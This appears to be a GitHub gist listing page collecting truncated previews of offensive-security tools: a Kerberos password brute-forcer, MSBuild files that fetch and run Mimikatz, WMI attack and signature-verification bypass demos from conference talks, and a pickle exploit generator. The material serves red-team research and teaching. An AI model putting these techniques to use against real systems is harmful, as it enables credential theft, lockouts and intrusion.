jbarcia’s gists

jbarcia / all.txt

Created July 17, 2017 12:15 — forked from jhaddix/all.txt

dnsall

This file has been truncated, but you can view the full file.

jbarcia / all.txt

Created July 17, 2017 12:15 — forked from jhaddix/all.txt

dnsall

This file has been truncated, but you can view the full file.

jbarcia / Azure

Last active July 25, 2017 22:42 — forked from vysecurity/Azure

jbarcia / kinit_brute.sh

Created July 30, 2017 23:11 — forked from ropnop/kinit_brute.sh

A quick tool to bruteforce an AD user's password by requesting TGTs from the Domain Controller with 'kinit'

	#!/bin/bash

	# Title: kinit_brute.sh
	# Author: @ropnop
	# Description: This is a PoC for bruteforcing passwords using 'kinit' to try to check out a TGT from a Domain Controller
	# The script configures the realm and KDC for you based on the domain provided and the domain controller
	# Since this configuration is only temporary though, if you want to actually use the TGT you should actually edit /etc/krb5.conf
	# Only tested with Heimdal kerberos (error messages might be different for MIT clients)
	# Note: this will lock out accounts if a domain lockout policy is set. Be careful

jbarcia / katz.xml

Created July 30, 2017 23:24

Downloads Mimikatz From GitHub, Executes Inside of MsBuild.exe

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<!-- This inline task executes c# code. -->
	<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe katz.xml -->
	<Target Name="Hello">
	<SharpLauncher >
	</SharpLauncher>
	</Target>
	<UsingTask
	TaskName="SharpLauncher"
	TaskFactory="CodeTaskFactory"

jbarcia / WMI_recon_and_attacks.ps1

Created August 22, 2017 12:44 — forked from mattifestation/WMI_recon_and_attacks.ps1

BlueHat 2016 - WMI recon and attack demo

	#############
	### SETUP ###
	#############

	# Set up remote session
	$Credential = Get-Credential TestUser
	$AdminCred = Get-Credential Administrator
	$SessionOption = New-CimSessionOption -Protocol Dcom
	$CimSession = New-CimSession -Credential $Credential -ComputerName TestPC -SessionOption $SessionOption
	$AdminCimSession = New-CimSession -Credential $AdminCred -ComputerName TestPC -SessionOption $SessionOption

jbarcia / SignatureVerificationAttack.ps1

Created September 28, 2017 11:29 — forked from mattifestation/SignatureVerificationAttack.ps1

Demos from my DerbyCon keynote

	$Host.Runspace.LanguageMode

	Get-AuthenticodeSignature -FilePath C:\Demo\bypass_test.psm1
	Get-AuthenticodeSignature -FilePath C:\Demo\notepad_backdoored.exe

	# Try to execute the script. Add-Type will fail.
	Import-Module C:\Demo\bypass_test.psm1

	$VerifyHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +
	'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'

jbarcia / Katz.Proj

Created February 4, 2018 12:17

Mimikatz In MSbuild

This file has been truncated, but you can view the full file.

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<!-- This inline task executes mimikatz. -->
	<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
	<!-- Save This File And Execute The Above Command -->
	<!-- Author: Casey Smith, Twitter: @subTee -->
	<!-- License: BSD 3-Clause -->
	<Target Name="Hello">
	<ClassExample />
	</Target>
	<UsingTask

jbarcia / slackmap.sh

Created June 6, 2018 23:51 — forked from jgamblin/slackmap.sh

Script to NMAP a network and Post Differences to Slack

	#!/bin/sh
	TARGETS="192.168.1.0/24"
	OPTIONS="-v -T4 -F -sV"
	date=$(date +%Y-%m-%d-%H-%M-%S)
	cd /nmap/diffs
	nmap $OPTIONS $TARGETS -oA scan-$date > /dev/null
	slack(){
	curl -F file=@diff-$date -F initial_comment="Internal Port Change Detected" -F channels=#alerts -F token=xxxx-xxxx-xxxx https://slack.com/api/files.upload
	}

jbarcia / pickle_exploit_generator.py

Created August 8, 2018 03:47 — forked from 0xBADCA7/pickle_exploit_generator.py

Python cPickle/pickle exploit generator

	#!/usr/bin/env python

	'''
	0xBADCA7

	Vodka goes down the throat better with pickle.
	This script generates pickled object representation. Good for CTFs.
	Params: [1] function, [2] parameter, [3] pickle type

	Sample run: